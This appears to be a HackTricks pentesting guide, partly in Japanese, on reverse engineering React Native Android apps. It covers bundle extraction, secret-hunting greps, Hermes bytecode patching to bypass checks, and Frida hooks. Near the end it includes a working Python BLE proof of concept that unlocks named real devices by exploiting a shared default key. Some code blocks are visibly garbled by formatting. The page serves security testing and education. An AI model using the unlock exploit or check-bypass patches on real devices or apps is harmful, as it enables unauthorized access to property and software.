React Native アプリケーション解析

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

アプリケーションが React Native フレームワークで構築されているか確認するには、次の手順に従ってください:

  1. APK ファイルの拡張子を zip に変更し、次のコマンドで新しいフォルダに展開します: cp com.example.apk example-apk.zipunzip -qq example-apk.zip -d ReactNative

  2. 新しく作成した ReactNative フォルダに移動し、assets フォルダを探します。このフォルダ内に、minified 形式の React JavaScript を含む index.android.bundle ファイルが見つかるはずです。

  3. JavaScript ファイルを検索するには、次のコマンドを使用します: find . -print | grep -i ".bundle$"

注意: APK の代わりに Android App Bundle (.aab) が渡された場合は、まず universal APK を生成してから bundle を抽出してください:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Javascript Code

If checking the contents of the index.android.bundle you find the JavaScript code of the application (even if minified), you can 解析して機密情報や vulnerabilities を見つける

As the bundle contains actually all the JS code of the application it’s possible to 異なるファイルに分割する(potentially making easier its reverse engineering)using the ツール react-native-decompiler

Webpack

To further analyze the JavaScript code, you can upload the file to https://spaceraccoon.github.io/webpack-exploder/ or follow these steps:

  1. 同じディレクトリに index.html という名前のファイルを作成し、次のコードを入れてください:
<script src="./index.android.bundle"></script>
  1. index.html ファイルを Google Chrome で開きます。

  2. Command+Option+J for OS X または Control+Shift+J for Windows を押してデベロッパーツールを開きます。

  3. デベロッパーツールで “Sources” をクリックします。メインバンドルを構成するフォルダとファイルに分かれた JavaScript ファイルが表示されるはずです。

index.android.bundle.map というファイルが見つかれば、ソースを unminified な形式で解析できます。Map ファイルは source mapping を含み、minified された識別子を元のソースにマッピングすることができます。

機密の資格情報やエンドポイントを検索するには、次の手順に従います:

  1. JavaScript コードを解析するための機密性の高いキーワードを特定します。React Native アプリは Firebase、AWS S3 のサービスエンドポイント、private keys などのサードパーティサービスをよく利用します。

  2. この特定のケースでは、アプリが Dialogflow サービスを使用していることが確認されました。設定に関連するパターンを検索します。

  3. recon プロセス中に、JavaScript コード内にハードコードされた機密資格情報が見つかり、幸運でした。

Quick secrets/endpoint hunting in bundles

These simple greps often surface interesting indicators even in minified JS:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

Over-The-Air アップデートフレームワークを疑う場合は、次も探してください:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, signing certs)

JSコードを変更して再ビルド

この場合、コードの変更は簡単です。アプリの拡張子を .zip に変更して解凍するだけです。そうすれば、バンドル内のJSコードを変更してアプリを再ビルドすることができます。これでテスト目的でアプリにコードを注入できるはずです。

Hermes bytecode

バンドルにHermes bytecodeが含まれている場合、アプリのJavascriptコードにアクセスできません(minified版でさえも)。

以下のコマンドを実行して、バンドルにHermes bytecodeが含まれているか確認できます:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

ただし、hbctool、新しいbytecodeバージョンをサポートするhbctoolの更新フォーク、hasmerhermes_rs (Rust library/APIs)、または**hermes-dec**を使って、disassemble the bytecodeしたり、decompile it to some pseudo JS codeしたりできます。例えば:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Tip: オープンソースの Hermes プロジェクトは、特定の Hermes リリースに hbcdump のような開発者向けツールも同梱しています。バンドルを生成するために使われた Hermes のバージョンと一致するものをビルドすれば、hbcdump は関数、文字列テーブル、bytecode をダンプしてより深い解析ができます。

Change code and rebuild (Hermes)

理想的には、逆アセンブルしたコード(比較や値など必要な箇所の変更)を修正し、次に rebuild the bytecode してアプリを再ビルドできるべきです。

  • オリジナルの hbctool はバンドルの逆アセンブルと変更後の再構築をサポートしていますが、歴史的には古い bytecode バージョンのみをサポートしていました。コミュニティが維持するフォークは新しい Hermes バージョン(including mid-80s–96)へのサポートを拡張しており、モダンな RN アプリをパッチする際に最も実用的な選択肢であることが多いです。
  • ツール hermes-dec は rebuilding the bytecode をサポートしていません(decompiler/disassembler only)が、ロジックの把握や文字列のダンプに非常に役立ちます。
  • ツール hasmer は複数の Hermes バージョンに対して disassembly と assembly の両方をサポートすることを目指しています。assembling はまだ成熟途中ですが、最近の bytecode では試す価値があります。

A minimal workflow with hbctool-like assemblers:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.

Dynamic Analysis

アプリを動的に解析する方法の一つとして、Frida を使って React アプリの開発者モードを有効化し、react-native-debugger でアタッチする方法があります。ただし、これを行うにはアプリのソースコードが必要なようです。詳細は https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/ を参照してください。

Enabling Dev Support in release with Frida (caveats)

一部のアプリは誤って Dev Support を切り替え可能にするクラスを同梱していることがあります。もし存在するなら、getUseDeveloperSupport() を強制的に true を返すようにしてみてください:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

警告: 適切にビルドされたリリースビルドでは DevSupportManagerImpl や関連するデバッグ専用クラスは削除され、このフラグを反転させるとアプリがクラッシュするか何の効果もないことがあります。これが有効な場合、通常は dev メニューを表示してデバッガ/インスペクタをアタッチできます。

RNアプリでのネットワーク傍受

React Native Android は通常内部で OkHttp を使用しています(Networking ネイティブモジュール経由)。root 化していないデバイス上で動的テスト中にトラフィックを傍受/観察するには:

  • システムプロキシを使用しユーザー CA を信頼する、または他の一般的な Android TLS バイパス手法を使用する。
  • RN 特有のヒント: アプリが誤って release に Flipper をバンドルしている(debug ツールとして)場合、Flipper Network プラグインがリクエスト/レスポンスを露出させる可能性がある。

一般的な Android の傍受およびピンニングバイパス手法については次を参照:

Make APK Accept CA Certificate

Objection Tutorial

Frida を使ったランタイム GATT プロトコル探索(Hermes 対応)

Hermes のバイトコードが JS の静的解析を難しくする場合は、代わりに Android の BLE スタックにフックをかけてください。android.bluetooth.BluetoothGattBluetoothGattCallback はアプリが送受信するすべてを露出するため、JS ソースなしで独自のチャレンジ-レスポンスやコマンドフレームを逆解析できます。

Frida GATT ロガー (UUID + hex/ASCII ダンプ) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

ハッシュベースのハンドシェイクをフィンガープリントし、正確な入力の連結をキャプチャするために`java.security.MessageDigest`をフックします:

<details>
<summary>Frida MessageDigest トレーサー (アルゴリズム、入力、出力)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

この方法で復元された実際の BLE フロー:

  • 00002556-1212-efde-1523-785feabcd123 から challenge を読み取る。
  • response = SHA1(challenge || key) を計算する。key は全デバイスにプロビジョニングされていた 20バイトのデフォルト値 0xFF だった。
  • 00002557-1212-efde-1523-785feabcd123 に response を書き込み、その後 0000155f-1212-efde-1523-785feabcd123 に対してコマンドを発行する。

認証されると、コマンドは ...155f... への 10 バイトフレームだった([0]=0x00[1]=registry 0xD4[3]=cmd id[7]=param)。例:アンロック 00 D4 00 01 00 00 00 00 00 00、ロック ...02...、eco-mode ON ...03...01...、バッテリー開放 ...04...。通知は 0000155e-1212-efde-1523-785feabcd123 に届き(2 バイトの registry + payload)、レジストリ値は 00001564-1212-efde-1523-785feabcd123 にレジストリ ID を書き込み、その後 ...155f... から読み出すことでポーリングできた。

共有/デフォルトキーがあると challenge-response は崩壊する。近くにいる攻撃者はダイジェストを計算して特権コマンドを送信できる。最小限の bleak PoC:

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## 人気の RN ライブラリでの最近の問題(確認すべき点)

JS bundle や native libs に露出しているサードパーティモジュールを監査する際は、既知の脆弱性をチェックし、`package.json`/`yarn.lock` のバージョンを確認する。

- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional encryption key to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. Validate inputs and library version.

Quick checks:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする